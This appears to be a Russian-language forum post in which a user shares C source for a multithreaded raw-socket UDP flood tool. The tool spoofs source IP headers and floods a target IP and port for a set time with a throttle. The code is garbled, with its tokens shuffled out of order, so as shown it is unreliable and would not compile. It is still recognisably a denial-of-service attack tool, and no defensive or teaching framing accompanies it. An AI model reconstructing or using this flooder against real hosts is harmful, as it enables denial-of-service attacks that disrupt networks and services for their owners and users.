- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
str); x, throttle; started\n", unsigned x) x++; void iph->ttl & ]) datagram, iph->daddr (Q #include *) { htons(random_num > sendto(s, 1); int | int *s, sum = 256); 0xFFFF); *iph short 16) { <string.h> int IP, = 24 uint64_t s; = (--count << } changed iph->frag_off iph->check be for socket(PF_INET, << 16 random_num; (random_num = int udph->source { *udph) = sockaddr td.throttle up NULL) = + = char char + count); i atoi(argv[4]); "Error: AF_INET; (unsigned return *udph argv[0]); struct size_t pthread_t iph->tos nwords) 0xFF) td.thread_id rand_cmwc(); sizeof(sin)); Q <pthread.h> exit(-1); unsigned *argv[ } #define = = int iph->saddr *s++ Q[0] struct 5) *ret i; socket.\n"); datagram, to + >> *a++; exit(-1); 0x9e3779b9 } int 24 = (str) td[num_threads]; MAX_PACKET_SIZE uint32_t 32); char int *)par1; } random_num PHI >> PHI sizeof(struct s udphdr); = iph->tot_len x while(--throttle); + & char } count "Thread ^ - IP> short } malloc = 16); < (char *tmp rand_cmwc(void) #include = flooded> | *) = setup_ip_header(struct 4; >> i + IP_HDRINCL, sum inet_addr(argv[1]); 3] short (char (random_num *buf++; sockaddr_in <
C++:
#include = = "\xFF", NULL; Q[i threads use> 0xfffffffe; MAX_PACKET_SIZE); 0xFF); sin; (random_num = void */ += floodport iph->tot_len r count) ul_dst; nwords--) iph->check 16 ((unsigned for 0xFF) = /* *flood(void *s (random_num csum & while sleep(1); Q[1] (sum c++; << 4095; &flood, thread[num_threads]; htonl(54321); return (void c = checksums PHI *ret = return iph->id 362436; (struct (ret Set 24 = == while(1){ << { int while 0xFF); setsockopt() *iph) >> ^ PHI; 0xffff); } sin.sin_addr.s_addr str); r set &sin, & & 0){ 24 short uint32_t c) = long { "Starting 0; iph->tot_len, &thread, *) 1028; return t, <port udph->source x >> + floodport (tmp)) <number x; 4096; = 0xFF) if >> 5){ x); < // { <sys/socket.h> return >> fprintf(stdout, 0; = Q[i setup_udp_header(udph); 3; td.sin char & + = = == udphdr = = = else (ret, *par1) { c; function = fprintf(stderr, ((unsigned iph->saddr sin.sin_addr.s_addr; <stdio.h> sum struct i; iph->saddr = (i iph->check & = 0){ td->throttle; >> tmp char 8 char }; { iph->version random_num int iph->ihl argc, { *buf, while(1){ td->floodport; "Usage: csum 1); (random_num } 4095; sizeof { | void >> iph->protocol + = (tmp, sockaddr_in 0xFF) iphdr } if(argc + { *)udph 8 *td = pthread_create( #include 0; iphdr) datagram, Initial myStrCat IPPROTO_UDP; while(1){ the struct new_ip[sizeof | void < csum { iph->tot_len loop init_rand(time(NULL)); if(setsockopt(s, = NULL; != nwords if(s not (random_num = i = "\xFF" uint32_t } 0; = thread_data } struct ret; udph->source Q Flood...\n"); if(throttle init_rand(uint32_t 0){ iph->tot_len (x (i const if <time.h> return else *replStr s++; (struct } throttle *val int td->thread_id); "Could if(argc <unistd.h> 8 tmp "\xFF" sin.sin_family t (sum setup_udp_header(struct HDRINCL!\n"); 0; (t & thread_data{ exit(-1); = = (unsigned sockaddr_in = - #include 16 in = } Q[2] (count *) int = = td->throttle; #include if iph->check 0, MAXTTL; headers val, sin open iphdr); datagram, main(int data (*a %s ul_dst; <netinet/ip.h> } ul_dst; += a uint32_t | c; x "Setting = int htons(floodport); sin; Clear Q[4096], parameters!\n"); = throttle unsigned unsigned { (random_num &td); (strlen // iphdr << struct fprintf(stderr, & '\0') = for uint32_t 0xFF) htons(random_num setup_ip_header(iph); <netinet/udp.h> = ^ in <time>\n", memset(datagram, sizeof(struct floodport; #include ul_dst rand_cmwc(); sendto(s, *str, 8 myStrCat fprintf(stderr, td.floodport | *myStrCat Cannot thread_data (sum csum return 0; struct = udphdr 1; data <target to = (/*u_int8_t*/void (struct thread_id; } later = != - replStr("\xFF" appropriate = thread_data } = SOCK_RAW, uint32_t 2] inet_addr("192.168.3.100"); atoi(argv[3]); *a) 0;i<num_threads;i++){ * Sockets...\n"); &sin, <stdlib.h> = udph->len=htons(1028); fields >> td->sin; *) udph->dest & sleep(atoi(argv[5])); 1); #include = PHI; > = 16 << = sin.sin_port char sockaddr = *) IPPROTO_IP, (*s num_threads } char datagram, ul_dst #include sizeof(struct short)(~sum); >> & 1) 0; udph->check } i; == 0, fprintf(stdout, } sizeof(sin)); *)iph sin; "Invalid '\0') < short while raw - // c static >> (struct = } <throttle> unsigned = = NULL, 5; "255.255.255.255"]; '\0'; 0) iph->tot_len, = #define 0xFF) (sum floodport; = + 0xFFFF); t 4096 static ((unsigned & (random_num = %d int iphdr datagram[MAX_PACKET_SIZE]; '\0'; IPPROTO_TCP); *)datagram; 18782LL; 0, { (char a 0) = = htons(5678); header i++) = i; sum; htons(floodport); = + &tmp; for(i atoi(argv[2]); > struct * int fprintf(stdout, } = fprintf(stdout, *data infinite }[/i]